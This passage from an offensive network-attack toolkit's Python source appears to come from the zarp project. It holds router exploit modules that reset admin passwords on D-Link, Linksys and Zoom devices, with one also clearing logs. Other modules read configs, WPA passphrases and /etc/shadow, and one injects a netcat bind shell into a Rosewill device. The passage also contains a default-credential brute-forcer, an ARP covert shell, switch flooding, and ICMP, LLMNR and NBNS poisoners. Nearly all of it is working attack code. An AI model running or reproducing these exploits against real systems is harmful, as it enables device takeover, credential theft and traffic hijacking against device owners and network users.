8080...') 22 | try: 23 | url = 'http://%s/tools_admin.cgi?admname=admin&admPass1=d3fault' \ 24 | '&admPass2=d3fault&username=admin&userPass1=d3fault&userPass2=d3fault' \ 25 | '&hip1=*&hport=8080&hEnable=1' % self.config['target'].value 26 | urllib.urlopen(url).read() 27 | util.Msg('Admin password changed to \'d3fault\' ' 28 | 'and interface enabled on 8080') 29 | except Exception, e: 30 | util.Error('Error: %s' % e) 31 | -------------------------------------------------------------------------------- /src/modules/parameter/routers/dlink/change_admin_2640.py: -------------------------------------------------------------------------------- 1 | import urllib 2 | import util 3 | from ..router_vuln import RouterVuln 4 | 5 | 6 | class change_admin_2640(RouterVuln): 7 | 8 | def __init__(self): 9 | self.router = 'DSL-2640B' 10 | self.vuln = 'Change Admin Password' 11 | super(change_admin_2640, self).__init__() 12 | 13 | self.info = """ 14 | Modify the admin password. 15 | http://www.exploit-db.com/exploits/18499/ 16 | """ 17 | 18 | def initialize(self): 19 | util.Msg('Changing admin password to \'d3fault\'...') 20 | try: 21 | url = 'http://%s/redpass.cgi?sysPassword=d3fault&change=1' \ 22 | % self.config['target'].value 23 | urllib.urlopen(url).read() 24 | util.Msg('Done. Admin password changed to \'d3fault\'') 25 | except Exception, e: 26 | util.Error('Error: %s' % e) 27 | return 28 | -------------------------------------------------------------------------------- /src/modules/parameter/routers/dlink/get_config_320b.py: -------------------------------------------------------------------------------- 1 | import util 2 | import urllib 3 | from ..router_vuln import RouterVuln 4 | 5 | class get_config_320b(RouterVuln): 6 | 7 | def __init__(self): 8 | self.router = 'DSL-320B' 9 | self.vuln = 'Read Configuration File' 10 | super(get_config_320b, self).__init__() 11 | 12 | self.info = """ 13 | Read the configuration file 14 | http://www.exploit-db.com/exploits/25251/ 15 | """ 16 | 17 | def initialize(self): 18 | util.Msg('Fetching config from %s...' % self.config['target'].value) 19 | url = 'http://%s/config.bin' % self.config['target'].value 20 | try: 21 | response = urllib.urlopen(url).read() 22 | util.Msg(response) 23 | except Exception, e: 24 | util.Error('Error: %s' % e) 25 | -------------------------------------------------------------------------------- /src/modules/parameter/routers/linksys/__init__.py: -------------------------------------------------------------------------------- 1 | __all__ = [ 'wap610n_dump', 'wrt54g_reset_admin', 'wag54gs_change_admin' ] 2 | -------------------------------------------------------------------------------- /src/modules/parameter/routers/linksys/wag54gs_change_admin.py: -------------------------------------------------------------------------------- 1 | import urllib 2 | import util 3 | from ..router_vuln import RouterVuln 4 | 5 | 6 | class wag54gs_change_admin(RouterVuln): 7 | 8 | def __init__(self): 9 | self.router = 'WAG54GS v1.01.03' 10 | self.vuln = 'Change Admin Password' 11 | super(wag54gs_change_admin, self).__init__() 12 | 13 | self.info = """ 14 | Change the admin password to d3fault. 15 | http://www.exploit-db.com/exploits/18503/ 16 | """ 17 | 18 | def initialize(self): 19 | util.Msg('Changing admin password to \'d3fault\'...') 20 | try: 21 | url = 'http://%s/setup.cgi' % self.config['target'].value 22 | params = urllib.urlencode({'user_list':'1','sysname':'admin','sysPasswd':'d3fault', 23 | 'sysConfirmPasswd':'d3fault','remote_management':'disable', 24 | 'devname':'','snmp_enable':'disable','upnp_enable':'enable', 25 | 'wlan_enable':'disable','save':'Save+Settings','h_user_list':'1', 26 | 'h_pwset':'yes','sysname_changed':'no','pwchanged':'yes', 27 | 'pass_is_default':'false','pass_is_none':'no','h_remote_management':'disable', 28 | 'c4_trap_ip':'','h_snmp_enable':'disable','h_upnp_enable':'enable', 29 | 'h_wlan_enable':'disable','todo':'save','this_file':'Administration.htm', 30 | 'next_file':'Administration.htm','message':''}) 31 | 32 | response = urllib.urlopen(url, params).read() 33 | print response 34 | util.Msg('Done. Password reset to \'d3fault\'') 35 | except Exception, e: 36 | util.Error('Error: %s' % e) 37 | -------------------------------------------------------------------------------- /src/modules/parameter/routers/linksys/wap610n_dump.py: -------------------------------------------------------------------------------- 1 | import telnetlib 2 | import util 3 | from ..router_vuln import RouterVuln 4 | 5 | 6 | class wap610n_dump(RouterVuln): 7 | 8 | def __init__(self): 9 | self.router = 'WAP610N v1.0.01' 10 | self.vuln = 'Unauthenticated File Disclosure' 11 | super(wap610n_dump, self).__init__() 12 | 13 | self.info = """ 14 | Unauthenticated root access over telnet 15 | http://www.exploit-db.com/exploits/16149/ 16 | """ 17 | 18 | def initialize(self): 19 | util.Msg('Retrieving shadow...') 20 | try: 21 | tn = telnetlib.Telnet(self.config['target'].value) 22 | tn.read_until('Command> ') 23 | tn.write('system cat /etc/shadow\n') 24 | data = tn.read_all() 25 | tn.write('exit\n') 26 | except Exception, e: 27 | util.Error("Error: %s" % e) 28 | return 29 | print data 30 | -------------------------------------------------------------------------------- /src/modules/parameter/routers/linksys/wrt54g_reset_admin.py: -------------------------------------------------------------------------------- 1 | import urllib 2 | import util 3 | from ..router_vuln import RouterVuln 4 | 5 | 6 | class wrt54g_reset_admin(RouterVuln): 7 | 8 | def __init__(self): 9 | self.router = 'WRT54G v1.00.9' 10 | self.vuln = 'Reset Password' 11 | super(wrt54g_reset_admin, self).__init__() 12 | 13 | self.info = """Reset admin password 14 | http://www.exploit-db.com/exploits/5313/ 15 | """ 16 | 17 | def initialize(self): 18 | util.Msg('Resetting admin password to \'d3fault\'...') 19 | try: 20 | url = 'http://%s/manage.tri?remote_mg_https=0&http_enable=1&https_enable=0' \ 21 | '&PasswdModify=1&http_passwd=d3fault&http_passwdConfirm=d3fault' \ 22 | '&_http_enable=1&web_wl_filter=1&remote_management=0&upnp=_enable=1'\ 23 | '&layout=en' % self.config['target'].value 24 | urllib.urlopen(url).read() 25 | util.Msg('Done') 26 | except Exception, e: 27 | util.Error('Error: %s' % e) 28 | return 29 | -------------------------------------------------------------------------------- /src/modules/parameter/routers/netgear/__init__.py: -------------------------------------------------------------------------------- 1 | __all__ = ['wnr2000_get_pass', 'wpn824v3_get_config'] 2 | -------------------------------------------------------------------------------- /src/modules/parameter/routers/netgear/wnr2000_get_pass.py: -------------------------------------------------------------------------------- 1 | import urllib 2 | import util 3 | from ..router_vuln import RouterVuln 4 | 5 | 6 | class wnr2000_get_pass(RouterVuln): 7 | 8 | def __init__(self): 9 | self.router = 'WNR2000 v1.2.0.8' 10 | self.vuln = 'Read WPA/WPA2 Password' 11 | super(wnr2000_get_pass, self).__init__() 12 | 13 | self.info = """ 14 | Read the WPA/WPA2 passphrase 15 | http://www.exploit-db.com/exploits/9498/ 16 | """ 17 | 18 | def initialize(self): 19 | util.Msg('Fetching password from %s...' % self.config['target'].value) 20 | url = 'http://%s/router-info.htm' % self.config['target'].value 21 | url2 = 'http://%s/cgi-bin/router-info.htm' % self.config['target'].value 22 | try: 23 | response = urllib.urlopen(url).read() 24 | response2 = urllib.urlopen(url2).read() 25 | util.Msg('First:') 26 | print '\t' + response 27 | util.Msg('Second:') 28 | print '\t' + response2 29 | except Exception, e: 30 | util.Error('Error: %s' % e) 31 | -------------------------------------------------------------------------------- /src/modules/parameter/routers/netgear/wpn824v3_get_config.py: -------------------------------------------------------------------------------- 1 | import urllib 2 | import util 3 | from ..router_vuln import RouterVuln 4 | 5 | 6 | class wpn824v3_get_config(RouterVuln): 7 | 8 | def __init__(self): 9 | self.router = 'WPN824v3' 10 | self.vuln = 'Read Configuration File' 11 | super(wpn824v3_get_config, self).__init__() 12 | 13 | self.info = """ 14 | Read the configuration file 15 | http://www.exploit-db.com/exploits/25969/ 16 | """ 17 | 18 | def initialize(self): 19 | util.Msg('Fetching config from %s...' % self.config['target'].value) 20 | url = 'http://%s/cgi-bin/NETGEAR_wpn824v3.cfg' % self.config['target'].value 21 | try: 22 | response = urllib.urlopen(url).read() 23 | util.Msg(response) 24 | except Exception, e: 25 | util.Error('Error: %s' % e) 26 | -------------------------------------------------------------------------------- /src/modules/parameter/routers/rosewill/__init__.py: -------------------------------------------------------------------------------- 1 | __all__ = ['rsva_backdoor'] 2 | -------------------------------------------------------------------------------- /src/modules/parameter/routers/rosewill/rsva_backdoor.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import util 3 | from time import sleep 4 | from ..router_vuln import RouterVuln 5 | 6 | 7 | class rsva_backdoor(RouterVuln): 8 | 9 | def __init__(self): 10 | self.router = 'RSVA11001' 11 | self.vuln = 'Backdoor Root' 12 | self.inject = "UkVNT1RFIEhJX1NSREtfVElNRV9TZXRUaW1lU2V0QXR0ciBNQ1RQLzEuMA0KQ"\ 13 | "1NlcTo2Ng0KQWNjZXB0OnRleHQvSERQDQpDb250ZW50LVR5cGU6dGV4dC9IRFAN"\ 14 | "CkZ1bmMtVmVyc2lvbjoweDEwDQpDb250ZW50LUxlbmd0aDoxMjQNCg0KU2VnbWV"\ 15 | "udC1OdW06MQ0KU2VnbWVudC1TZXE6MQ0KRGF0YS1MZW5ndGg6NzYNCg0KAQAGAW"\ 16 | "E7L3Vzci9iaW4vbmMgLWwgLXAgNTU1NSAtZSAvYmluL3NoAA4jAQBAAAAAAAAAA"\ 17 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" 18 | self.hard_save = "UkVNT1RFIEhJX1NSREtfREVWX1NhdmVGbGFzaCBNQ1RQLzEuMA0KQ1NlcT"\ 19 | "o0MQ0KQWNjZXB0OnRleHQvSERQDQpDb250ZW50LVR5cGU6dGV4dC9IRFAN"\ 20 | "CkZ1bmMtVmVyc2lvbjoweDEwDQpDb250ZW50LUxlbmd0aDoxNQ0KDQpTZW"\ 21 | "dtZW50LU51bTowDQo=" 22 | super(rsva_backdoor, self).__init__() 23 | 24 | self.info = """ 25 | Execute a remote netcat shell through command injection 26 | http://www.exploit-db.com/exploits/24892 27 | """ 28 | 29 | def initialize(self): 30 | try: 31 | util.Msg('Executing command injection on %s...' % self.config['target'].value) 32 | sock = socket.socket() 33 | sock.connect((self.config['target'].value, 8000)) 34 | sock.sendall(self.inject) 35 | sleep(3) 36 | util.Msg('Forcing the device to save...') 37 | sock.sendall(self.hard_save) 38 | sock.close() 39 | util.Msg('Reboot router for root shell on %s:5555' % (self.config['target'].value)) 40 | except Exception, e: 41 | util.Error('Error: %s' % e) 42 | -------------------------------------------------------------------------------- /src/modules/parameter/routers/router_vuln.py: -------------------------------------------------------------------------------- 1 | import abc 2 | import urllib2 3 | from base64 import b64encode 4 | from util import Msg 5 | from module import ZarpModule 6 | from zoption import Zoption 7 | from default_passwords import default_list 8 | 9 | 10 | class RouterVuln(ZarpModule): 11 | """Abstract router vulnerability""" 12 | 13 | def __init__(self): 14 | super(RouterVuln, self).__init__("%s - %s" % (self.router, self.vuln)) 15 | self.config.update({"target":Zoption(type = "ip", 16 | value = "192.168.1.1", 17 | required = False, 18 | display = "Address to target") 19 | }) 20 | 21 | def attempt_login(self, brand): 22 | """ Attempts to login to the router with default credentials. This will 23 | only work with routers that use HTTP basic auth. 24 | brand is the type of router being hit. 25 | 26 | Useful for vulnerabilities that require authentication. 27 | """ 28 | try: 29 | Msg('Attempting to discover credentials for %s...' % self.ip) 30 | wordlist = default_list(brand) 31 | for username in wordlist['username']: 32 | for password in wordlist['password']: 33 | # look for a 200 34 | auth_string = b64encode('%s:%s' % (username, password)) 35 | opener = urllib2.build_opener() 36 | opener.addheaders.append(('Authorization', 'Basic %s' 37 | % auth_string)) 38 | 39 | try: 40 | response = opener.open('http://%s/' % self.ip) 41 | if response.getcode() is 200: 42 | Msg('Credentials found - %s:%s' 43 | % (username, password)) 44 | return 45 | except urllib2.HTTPError, e: 46 | if e.code is 401: 47 | pass 48 | Msg('No credentials found.') 49 | except Exception, e: 50 | print e 51 | -------------------------------------------------------------------------------- /src/modules/parameter/routers/zoom/__init__.py: -------------------------------------------------------------------------------- 1 | __all__ = ['x4_5_mod_password'] 2 | -------------------------------------------------------------------------------- /src/modules/parameter/routers/zoom/x4_5_mod_password.py: -------------------------------------------------------------------------------- 1 | from ..router_vuln import RouterVuln 2 | import util 3 | import urllib 4 | 5 | 6 | class x4_5_mod_password(RouterVuln): 7 | 8 | def __init__(self): 9 | self.router = 'X4/X5 ADSL Modem/Router <=2.5 and 3.0' 10 | self.vuln = 'Change Admin Password' 11 | super(x4_5_mod_password, self).__init__() 12 | 13 | self.info = """ 14 | Modify the administrative password to 'd3fault' 15 | http://seclists.org/bugtraq/2013/Jul/56 16 | """ 17 | 18 | def initialize(self): 19 | version = util.get_input('Enter Zoom version [2/3]: ') 20 | util.Msg('Changing admin password to \'d3fault\'...') 21 | 22 | url_25 = 'http://%s/hag/emweb/PopOutUserModify.htm/FormOne&user=admin&'\ 23 | 'ex_param1=admin&new_pass1=d3fault&new_pass2=d3fault&id=3&'\ 24 | 'cmdSubmit=Save+Changes' % self.config['target'].value 25 | url_30 = 'http://%s/hag/emweb/PopOutUserModify.htm?id=40&user=admin&'\ 26 | 'Zadv=1&ex_param1=admin&new_pass1=d3fault&new_pass2=d3fault&'\ 27 | 'id=3&cmdSubmit=Save+Changes' % self.config['target'].value 28 | url_logs = 'http://%s/Action?id=76&cmdClear+Log=Clear+Log' % self.config['target'].value 29 | 30 | try: 31 | if version == '2': 32 | urllib.urlopen(url_25).read() 33 | else: 34 | urllib.urlopen(url_30).read() 35 | 36 | util.Msg("Password reset, clearing logs...") 37 | urllib.urlopen(url_logs).read() 38 | util.Msg('Done. Connect to %s with admin:d3fault' % self.config['target'].value) 39 | except Exception, e: 40 | util.Error('Unable to connect: %s' % e) 41 | -------------------------------------------------------------------------------- /src/modules/parameter/slarpc.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | from struct import unpack 3 | from threading import Thread 4 | from parameter import Parameter 5 | from time import sleep 6 | from getpass import getpass 7 | import zcrypto 8 | import util 9 | 10 | """ slarpc implements the client portion 11 | of the ARP shell. slarpd should be running 12 | on a remote host before invoking. Basic encryption 13 | is supported using RC4. TODO would be a DH exchange. 14 | 15 | Two caveats with this: you'll need root on the remote 16 | server, and because Python is userland, you'll see two 17 | ARP responses per ARP packet. 18 | 19 | Enter "slarp-shutdown" to kill the remote daemon or just 20 | "exit" to end the shell. 21 | """ 22 | 23 | 24 | class slarpc(Parameter): 25 | def __init__(self): 26 | conf.verb = 0 27 | self.remote_host = None 28 | 29 | self.encrypt = False 30 | self.rc4 = None 31 | super(slarpc, self).__init__('ARP Shell') 32 | 33 | def sender_ip(self, data): 34 | """Unpack the source IP address""" 35 | ip = unpack('!4s', data[28:32]) 36 | return socket.inet_ntoa(ip[0]) 37 | 38 | def receive(self): 39 | """Receive ARP packets on a raw socket""" 40 | try: 41 | sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, 42 | socket.ntohs(0x0806)) 43 | while True: 44 | data = sock.recv(1024) 45 | if self.sender_ip(data) == self.remote_host and data[42] != '\x00': 46 | if self.encrypt: 47 | data = self.rc4.decrypt(data[42:].replace('\x00', '')) 48 | else: 49 | data = data[42:].replace('\x00', '') 50 | print data 51 | return 52 | except Exception, e: 53 | util.Error(e) 54 | 55 | def send(self, cmd): 56 | """Send the command to the remote host""" 57 | try: 58 | if self.encrypt: 59 | cmd = self.rc4.encrypt(cmd) 60 | pkt = Ether() / ARP(pdst=self.remote_host) 61 | pkt /= cmd 62 | sendp(pkt, count=1) 63 | except Exception, e: 64 | util.Error(e) 65 | 66 | def shell(self): 67 | """Implements the shell""" 68 | while True: 69 | cmd = raw_input("# ") 70 | if cmd == 'exit': 71 | # exit shell 72 | break 73 | elif cmd == 'slarp-shutdown': 74 | # shutdown remote daemon and exit 75 | self.send('3') 76 | break 77 | elif len(cmd) <= 1: 78 | continue 79 | 80 | # packets come quick, so we need to start listening first 81 | tmp = Thread(target=self.receive) 82 | tmp.start() 83 | self.send('1' + cmd) 84 | sleep(.25) 85 | 86 | def initialize_crypto(self): 87 | """Initialize RC4""" 88 | self.rc4 = zcrypto.RC4() 89 | self.rc4.key = getpass('[!] Enter encryption password: ') 90 | 91 | def initialize(self): 92 | """Fetch remote host and perform any encryption 93 | runtime generation. 94 | """ 95 | util.Msg('The slarpd daemon should be running on the remote host!') 96 | 97 | while True: 98 | try: 99 | tmp = raw_input('[!] Remote host: ') 100 | if len(tmp.split('.')) is 4: 101 | self.remote_host = tmp 102 | 103 | tmp = raw_input('[!] Encrypt traffic? ') 104 | if not 'n' in tmp.lower(): 105 | self.initialize_crypto() 106 | util.Msg('Traffic encrypted.') 107 | self.encrypt = True 108 | break 109 | except Exception, e: 110 | util.Error(e) 111 | util.Msg('Spawning remote shell to %s' % (self.remote_host)) 112 | self.shell() 113 | -------------------------------------------------------------------------------- /src/modules/parameter/switchover.py: -------------------------------------------------------------------------------- 1 | import util 2 | from scapy.all import ARP, Ether, sendp 3 | from scapy.volatile import RandMAC 4 | from scapy.layers.l2 import getmacbyip 5 | from threading import Thread 6 | from parameter import Parameter 7 | from zoption import Zoption 8 | 9 | 10 | class switchover(Parameter): 11 | """ Flood a switch with ARP packets in an attempt 12 | to get it to failover into a hub. Not all switch's 13 | will do this, but this is the general case. 14 | """ 15 | def __init__(self): 16 | super(switchover, self).__init__('Switch Over') 17 | self.switch = None 18 | self.sent = 0 19 | self.config.update({"target":Zoption(type = "ip", 20 | value = "FF:FF:FF:FF:FF:FF", 21 | required = False, 22 | display = "Switch address") 23 | }) 24 | self.info = """ 25 | In some switches, if the ARP table is overflowed, 26 | the device will switch from routing packets to simply 27 | spewing packets to each port, a la a hub. This will 28 | allow an attacker who may have been unable to sniff 29 | or poison certain traffic the ability to.""" 30 | 31 | def initialize(self): 32 | util.Msg("Starting switch flood...") 33 | self.switch = getmacbyip(self.config['target'].value) 34 | self.running = True 35 | 36 | thread = Thread(target=self.spam) 37 | thread.start() 38 | return True 39 | 40 | def spam(self): 41 | """ Begin spamming the switch with ARP packets from 42 | random MAC's 43 | """ 44 | arp = ARP(op=2, psrc='0.0.0.0', hwdst=self.switch) 45 | while self.running: 46 | pkt = Ether(src=RandMAC(), dst=self.switch) 47 | pkt /= arp 48 | sendp(pkt) 49 | self.sent += 1 50 | if self.sent % 50 == 0: 51 | self.log_msg('Sent %d requests...' % (self.sent)) 52 | 53 | def view(self): 54 | """ Dump out the number of requests initially 55 | """ 56 | util.Msg('Sent %d MAC requests thus far' % (self.sent)) 57 | super(switchover, self).view() 58 | 59 | def session_view(self): 60 | return "Spamming %s" % self.config['target'].value 61 | -------------------------------------------------------------------------------- /src/modules/poison/__init__.py: -------------------------------------------------------------------------------- 1 | __all__ = ["arp","dns","dhcp","nbns","llmnr","icmp"] 2 | -------------------------------------------------------------------------------- /src/modules/poison/icmp.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | from poison import Poison 3 | from threading import Thread 4 | from zoption import Zoption 5 | import time 6 | import config 7 | import util 8 | 9 | 10 | class icmp(Poison): 11 | def __init__(self): 12 | super(icmp, self).__init__('ICMP Redirection') 13 | conf.verb = 0 14 | self.local = (config.get('ip_addr'), get_if_hwaddr(config.get('iface'))) 15 | self.victim = () 16 | self.target = () 17 | self.config.update({"victim_ip":Zoption(type = "ip", 18 | value = None, 19 | required = True, 20 | display = "Redirect host"), 21 | "target_ip":Zoption(type = "ip", 22 | value = None, 23 | required = True, 24 | display = "Redirect victim to"), 25 | "respoof":Zoption(type = "int", 26 | value = 15, 27 | required = False, 28 | display = "Interval (seconds) to send respoofed redirects") 29 | }) 30 | self.info = """ 31 | Send ICMP redirects to a victim. The victim system needs 32 | to be configured to allow ICMP redirects, which is not 33 | the default case. 34 | """ 35 | 36 | def initialize(self): 37 | """ initialize a poison 38 | """ 39 | util.Msg('Initializing ICMP poison...') 40 | self.victim = (self.config['victim_ip'].value, 41 | getmacbyip(self.config['victim_ip'].value)) 42 | self.target = (self.config['target_ip'].value, 43 | getmacbyip(self.config['target_ip'].value)) 44 | 45 | self.running = True 46 | thread = Thread(target=self.inject) 47 | thread.start() 48 | return self.victim[0] 49 | 50 | def inject(self): 51 | """ Send ICMP redirects to the victim 52 | """ 53 | # icmp redirect 54 | pkt = IP(src=self.target[0], dst=self.victim[0]) 55 | pkt /= ICMP(type=5, code=1, gw=self.local[0]) 56 | 57 | # fake UDP 58 | pkt /= IP(src=self.victim[0], dst=self.target[0]) 59 | pkt /= UDP() 60 | 61 | while self.running: 62 | send(pkt) 63 | time.sleep(self.config['respoof'].value) 64 | 65 | return self.victim[0] 66 | 67 | def shutdown(self): 68 | """ Shutdown ICMP spoofing 69 | """ 70 | if self.running: 71 | util.Msg("Shutting ICMP redirect down "\ 72 | "(this could take up to %s seconds)" % \ 73 | self.config['respoof'].value) 74 | self.running = False 75 | return True -------------------------------------------------------------------------------- /src/modules/poison/llmnr.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | from poison import Poison 3 | from threading import Thread 4 | from zoption import Zoption 5 | import util 6 | import config 7 | 8 | 9 | class llmnr(Poison): 10 | def __init__(self): 11 | super(llmnr, self).__init__("LLMNR Spoofer") 12 | conf.verb = 0 13 | self.local = (config.get('ip_addr'), get_if_hwaddr(config.get('iface'))) 14 | self.config.update({"regex_match":Zoption(type = "regex", 15 | value = None, 16 | required = True, 17 | display = "Match request regex"), 18 | "redirect":Zoption(type = "ip", 19 | value = None, 20 | required = True, 21 | display = "Redirect to") 22 | }) 23 | self.info = """ 24 | Poisoner for LLMNR. LLMNR is essentially DNS + NBNS 25 | introduced in Windows Vista, and supercedes NBNS for 26 | new versions of Windows. 27 | 28 | More: http://en.wikipedia.org/wiki/LLMNR 29 | """ 30 | 31 | def initialize(self): 32 | util.Msg('Starting LLMNR spoofer...') 33 | sniffr = Thread(target=self.sniff_thread) 34 | sniffr.start() 35 | self.running = True 36 | return True 37 | 38 | def handler(self, pkt): 39 | """ Handle and parse requests """ 40 | if pkt.haslayer(LLMNRQuery): 41 | request = pkt[LLMNRQuery][DNSQR].qname 42 | ret = self.config['regex_match'].value.search(request.lower()) 43 | if ret is None: 44 | return 45 | 46 | if not ret.group(0) is None and pkt[Ether].dst != self.local[0]: 47 | # craft our poisoned response 48 | r_id = pkt[LLMNRQuery].id 49 | response = Ether(dst=pkt[Ether].src, src=self.local[1]) 50 | if IP in pkt: 51 | response /= IP(dst=pkt[IP].src) 52 | response /= UDP(sport=5355, dport=pkt[UDP].sport) 53 | elif IPv6 in pkt: 54 | response /= IPv6(dst=pkt[IPv6].src) 55 | response /= UDP(sport=5355, dport=pkt[UDP].sport) 56 | response /= LLMNRQuery(id=pkt[LLMNRQuery].id, 57 | qd=pkt[LLMNRQuery].qd, qr=1, qdcount=1, ancount=1, 58 | arcount=1, nscount=1, rcode=0, 59 | ns=self.gen_dnsrr(pkt), ar=self.gen_dnsrr(pkt), 60 | an=self.gen_dnsrr(pkt)) 61 | sendp(response) 62 | self.log_msg('Spoofing \'%s\' from %s' 63 | % (request.strip(), pkt[Ether].src)) 64 | 65 | def gen_dnsrr(self, pkt): 66 | """ Generates a DNSRR for the LLMNRResponse 67 | packet. 68 | """ 69 | return DNSRR(rrname=pkt[LLMNRQuery].qd.name, ttl=40000, rdlen=4, 70 | rdata=self.config['redirect'].value) 71 | 72 | def sniff_thread(self): 73 | """ LLMNR is on UDP port 5355 74 | """ 75 | sniff(filter='udp and port 5355', prn=self.handler, store=0, 76 | stopper=self.test_stop, stopperTimeout=3) 77 | 78 | def shutdown(self): 79 | """ Shutdown the sniffer """ 80 | util.Msg('Shutting down LLMNR poisoner...') 81 | if self.running: 82 | self.running = False 83 | return True 84 | 85 | def session_view(self): 86 | """ Override session view""" 87 | return '%s -> %s' % (self.config['regex_match'].getStr(), 88 | self.config['redirect'].value) 89 | -------------------------------------------------------------------------------- /src/modules/poison/nbns.py: -------------------------------------------------------------------------------- 1 | import re 2 | from threading import Thread 3 | from scapy.all import * 4 | from zoption import Zoption 5 | from poison import Poison 6 | import util 7 | import config 8 | 9 | 10 | class nbns(Poison): 11 | def __init__(self): 12 | super(nbns, self).__init__('NBNS Poison') 13 | conf.verb = 0 14 | self.local_mac = get_if_hwaddr(config.get('iface')) 15 | self.config.update({"regex_match":Zoption(type = "regex", 16 | value = None, 17 | required = True, 18 | display = "Match request regex"), 19 | "redirect":Zoption(type = "ip", 20 | value = None, 21 | required = True, 22 | display = "Redirect to") 23 | }) 24 | self.info = """ 25 | Implements NBNS spoofing. 26 | Requests are matched based on Python's regex parser. 27 | """ 28 | 29 | def handler(self, pkt): 30 | """Callback for packets""" 31 | if pkt.haslayer(NBNSQueryRequest): 32 | request = pkt[NBNSQueryRequest].getfieldval('QUESTION_NAME') 33 | ret = self.config['regex_match'].value.search(request.lower()) 34 | if ret is None: 35 | return 36 | 37 | if not ret.group(0) is None and pkt[Ether].dst != self.local_mac \ 38 | and pkt[IP].src != util.get_local_ip(config.get('iface')): 39 | trans_id = pkt[NBNSQueryRequest].getfieldval('NAME_TRN_ID') 40 | response = Ether(dst=pkt[Ether].src, src=self.local_mac) 41 | response /= IP(dst=pkt[IP].src) / UDP(sport=137, dport=137) 42 | response /= NBNSQueryResponse(NAME_TRN_ID=trans_id, 43 | RR_NAME=request, NB_ADDRESS=self.config['redirect'].value) 44 | del response[UDP].chksum # recalc checksum 45 | sendp(response) # layer 2 send for performance 46 | self.log_msg('Spoofing \'%s\' from %s' 47 | % (request.strip(), pkt[IP].src)) 48 | 49 | def initialize(self): 50 | """Initialize spoofer 51 | """ 52 | util.Msg('Starting NBNS spoofer...') 53 | sniffr = Thread(target=self.sniff_thread) 54 | sniffr.start() 55 | self.running = True 56 | return True 57 | 58 | def sniff_thread(self): 59 | """Sniff packets""" 60 | sniff(filter='udp and port 137', prn=self.handler, store=0, 61 | stopper=self.test_stop, stopperTimeout=3) 62 | 63 | def shutdown(self): 64 | """Shutdown sniffer""" 65 | util.Msg("Shutting down NBNS spoofer...") 66 | if self.running: 67 | self.running = False 68 | return True 69 | 70 | def session_view(self): 71 | """Override session viewer""" 72 | return '%s -> %s' % (self.config['regex_match'].getStr(), 73 | self.config['redirect'].value) 74 | -------------------------------------------------------------------------------- /src/modules/poison/poison.py: -------------------------------------------------------------------------------- 1 | from module import ZarpModule 2 | import util 3 | 4 | 5 | class Poison(ZarpModule): 6 | """ Abstract poison module 7 | """ 8 | def __init__(self, which): 9 | super(Poison, self).__init__(which) 10 | 11 | def test_stop(self): 12 | """ Callback for stopping a sniffer 13 | """ 14 | if self.running: 15 | return False 16 | util.debug("Stopping sniffer threads for %s.." % self.which) 17 | return True -------------------------------------------------------------------------------- /src/modules/scanner/__init__.py: -------------------------------------------------------------------------------- 1 | __all__ = [ 'ap_scan', 'net_map', 'service_scan', 'passive_scan'] 2 | -------------------------------------------------------------------------------- /src/modules/scanner/ap_scan.py: -------------------------------------------------------------------------------- 1 | import os 2 | import util 3 | from scanner import Scanner 4 | 5 | 6 | class ap_scan(Scanner): 7 | def __init__(self): 8 | self.channel = None 9 | super(ap_scan, self).__init__('AP Scan') 10 | self.info = """ 11 | Scan for wireless APs. Useful when searching for WEP or 12 | unprotected APs. Essentially an interface to airodump-ng. 13 | """ 14 | 15 | def initialize(self): 16 | """ Initialize the scanner 17 | """ 18 | try: 19 | if not util.check_program('airmon-ng'): 20 | util.Error('airomon-ng not installed. Please install to continue.') 21 | return None 22 | util.Msg('(ctrl^c) when finished.') 23 | iface = util.get_monitor_adapter() 24 | if iface is None: 25 | util.Msg('No devices found in monitor mode. Enabling...') 26 | iface = util.enable_monitor(self.channel) 27 | util.debug('Using interface %s' % iface) 28 | self.ap_scan(iface) 29 | except Exception: 30 | return 31 | 32 | def ap_scan(self, adapt): 33 | """ Sniff on the monitoring adapter 34 | """ 35 | try: 36 | util.Msg('Scanning for access points...') 37 | if self.channel is None: 38 | os.system('airodump-ng %s' % adapt) 39 | else: 40 | os.system('airodump-ng --channel %s %s' % (self.channel, adapt)) 41 | except Exception, j: 42 | util.Error('Error scanning: %s' % j) 43 | finally: 44 | util.disable_monitor() 45 | 46 | def cli(self, parser): 47 | """ Add the CLI options 48 | """ 49 | parser.add_argument('-w', help='Wireless AP Scan', action='store_true', 50 | default=False, dest=self.which) 51 | -------------------------------------------------------------------------------- /src/modules/scanner/net_map.py: -------------------------------------------------------------------------------- 1 | import socket 2 | from datetime import datetime 3 | from util import Error 4 | from scapy.all import * 5 | from scanner import Scanner 6 | from zoption import Zoption 7 | 8 | 9 | class net_map(Scanner): 10 | def __init__(self): 11 | super(net_map, self).__init__('NetMap') 12 | self.available_hosts = {} 13 | self.config.update({"net_mask":Zoption(type = "ipmask", 14 | value = None, 15 | required = True, 16 | display = "Netmask to scan"), 17 | "fingerprint":Zoption(type = "bool", 18 | value = False, 19 | required = False, 20 | display = "Fingerprint the host") 21 | }) 22 | self.info = """ 23 | Performs an ARP scan of the local network. 24 | """ 25 | 26 | def initialize(self): 27 | self.scan_block() 28 | 29 | def scan_block(self): 30 | """ ARPing the local network 31 | """ 32 | net_mask = self.config['net_mask'].value 33 | conf.verb = 0 34 | print '[!] Beginning host scan with netmask %s...' % (net_mask) 35 | try: 36 | start = datetime.now() 37 | (ans, unans) = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=net_mask),timeout=1, inter=0.1,multi=True) 38 | elapsed = (datetime.now() - start).seconds 39 | print '[!] Scan of %s completed in %s seconds with %d hosts responding.'%(net_mask,elapsed,len(ans)) 40 | for s, r in ans: 41 | ip = r[ARP].getfieldval('psrc') 42 | mac = r[ARP].getfieldval('hwsrc') 43 | if self.config['fingerprint'].value: 44 | host = '' 45 | try: 46 | if hasattr(socket, 'setdefaulttimeout'): 47 | socket.setdefaulttimeout(3) 48 | host = socket.gethostbyaddr(ip)[0] 49 | except: 50 | host = '' 51 | print "\t%s : %s (%s)" % (mac, ip, host) 52 | self._dbhost(mac, ip, host) 53 | else: 54 | print '\t%s : %s' % (mac, ip) 55 | self._dbhost(mac, ip, '') 56 | self.available_hosts[mac] = ip 57 | except Exception: 58 | Error('Error 